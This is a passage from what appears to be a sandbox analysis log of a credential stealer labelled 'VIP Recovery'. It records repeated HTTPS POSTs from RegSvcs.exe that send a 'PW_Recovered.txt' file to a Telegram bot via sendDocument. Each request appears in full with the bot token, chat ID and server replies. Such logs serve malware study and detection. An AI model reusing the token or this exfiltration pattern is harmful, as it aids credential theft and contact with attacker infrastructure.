2024-09-19 10:24:35 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 33 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12833,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.5	61684	149.154.167.220	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:24:38 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd002a375df3af Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:24:38 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 30 32 61 33 37 35 64 66 33 61 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 31 37 Data Ascii: --------------------------8dd002a375df3afContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:17
2024-09-19 10:24:38 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:24:38 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:24:38 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 33 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12835,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.5	61685	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:24:39 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd04a7c7a5e552 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:24:39 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 34 61 37 63 37 61 35 65 35 35 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: --------------------------8dd04a7c7a5e552Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:24:39 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:24:39 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:24:39 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 33 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12836,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.5	61688	149.154.167.220	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:24:42 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd00d3dede440f Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:24:42 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 30 64 33 64 65 64 65 34 34 30 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 31 37 Data Ascii: --------------------------8dd00d3dede440fContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:17
2024-09-19 10:24:42 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:24:42 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:24:42 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 33 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12837,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.5	61690	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:24:44 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd053f66608f0b Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:24:44 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 35 33 66 36 36 36 30 38 66 30 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: --------------------------8dd053f66608f0bContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:24:44 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:24:44 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:24:44 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 33 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12838,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.5	61692	149.154.167.220	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:24:46 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd015205408852 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:24:46 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 31 35 32 30 35 34 30 38 38 35 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 31 37 Data Ascii: --------------------------8dd015205408852Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:17
2024-09-19 10:24:46 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:24:46 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:24:46 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 34 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12840,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.5	61694	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:24:49 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd05da1ef7e562 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:24:49 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 35 64 61 31 65 66 37 65 35 36 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: --------------------------8dd05da1ef7e562Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:24:49 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:24:49 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:24:49 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 34 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12841,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.5	61696	149.154.167.220	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:24:51 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd01e8a511992d Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:24:51 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 31 65 38 61 35 31 31 39 39 32 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 31 37 Data Ascii: --------------------------8dd01e8a511992dContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:17
2024-09-19 10:24:51 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:24:51 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:24:51 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 34 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: 